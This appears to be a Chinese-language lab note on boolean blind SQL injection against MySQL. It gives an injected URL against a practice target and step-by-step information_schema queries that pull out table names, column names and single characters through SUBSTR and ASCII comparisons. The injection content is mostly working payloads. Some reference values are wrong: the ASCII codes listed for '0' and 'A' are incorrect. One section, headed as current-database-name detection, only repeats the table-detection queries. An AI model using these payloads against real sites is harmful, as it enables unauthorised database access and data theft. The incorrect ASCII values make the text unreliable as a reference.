查询 MYSQL 数据库 系统库名、表名、字段名 SQL语句

注意: 由于 引号 的原因, 盲注时字符探测不能使用 字符 。 而应该使用 ASCII 进行转换。

0x01 数据库探测

0x01.1 数据库数量探测

1
2
3
-- 数据库数量探测

http://vulhub.example.com:81/Pass-10/index.php?id=1  AND (SELECT COUNT(*) FROM information_schema.SCHEMATA)=6

boolblind-database-number-detect.png

0x01.2 当前数据库名称探测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


-- 查询当前数据库有多少张表
SELECT COUNT(*) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA=database(); 

-- -- 探测表名
-- 1.1 查询当前数据库表名。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()  ;

-- 1.2 使用 limit 查询返回数量, LIMIT 起始值为 0 。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1  ;
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 1,1  ;

-- 2.1 表名长度
SELECT LENGTH((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1))  ;

-- 2.2 表名探测, SUBSTR() 函数起始值为 1 。
SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1),1,1) ;

-- 2.3 判断
SELECT 'n'=(SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1),1,1)) ;

0x02 表探测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
-- 查询当前数据库有多少张表
SELECT COUNT(*) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA=database(); 

-- -- 探测表名
-- 1.1 查询当前数据库表名。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database())  ;

-- 1.2 使用 limit 查询返回数量, LIMIT 起始值为 0 。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1  ;
-- result: news
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 1,1  ;
-- result: uses

-- 2.1 表名长度
SELECT LENGTH((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1))  ;

-- 2.2 表名探测, SUBSTR() 函数起始值为 1 。
SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1),1,1) ;

-- 2.3 判断
SELECT 'n'=(SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1),1,1)) ;

0x03 字段探测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
-- dbname: zkaq
-- tablename: news

-- 1.1 探测所有字段数量
SELECT count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news';
-- 1.2 探测所有字段
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news';
-- 1.2 某一个字段
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news' LIMIT 0,1;

-- 2.1 探测字段名字符
SELECT SUBSTR((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news' LIMIT 0,1),1,1) ;
-- 2.2 探测字段名 BOOL
SELECT 'i'=(SUBSTR((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news' LIMIT 0,1),1,1)) ;

ASCII 字符转换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

-- ASCII

SELECT ASCII('0'),ASCII('9'),ASCII('A'),ASCII('Z'),ASCII('a'),ASCII('z'),ASCII('_'),ASCII('-') ;

-- 95
SELECT ASCII('_') ;
-- 45
SELECT ASCII('-') ;

-- 44
SELECT ASCII('0') ;
-- 57
SELECT ASCII('9') ;

-- 64
SELECT ASCII('A') ; 
-- 90
SELECT ASCII('Z') ; 

-- 97
SELECT ASCII('a') ; 
-- 122
SELECT ASCII('z') ; 

0xGG 参考文章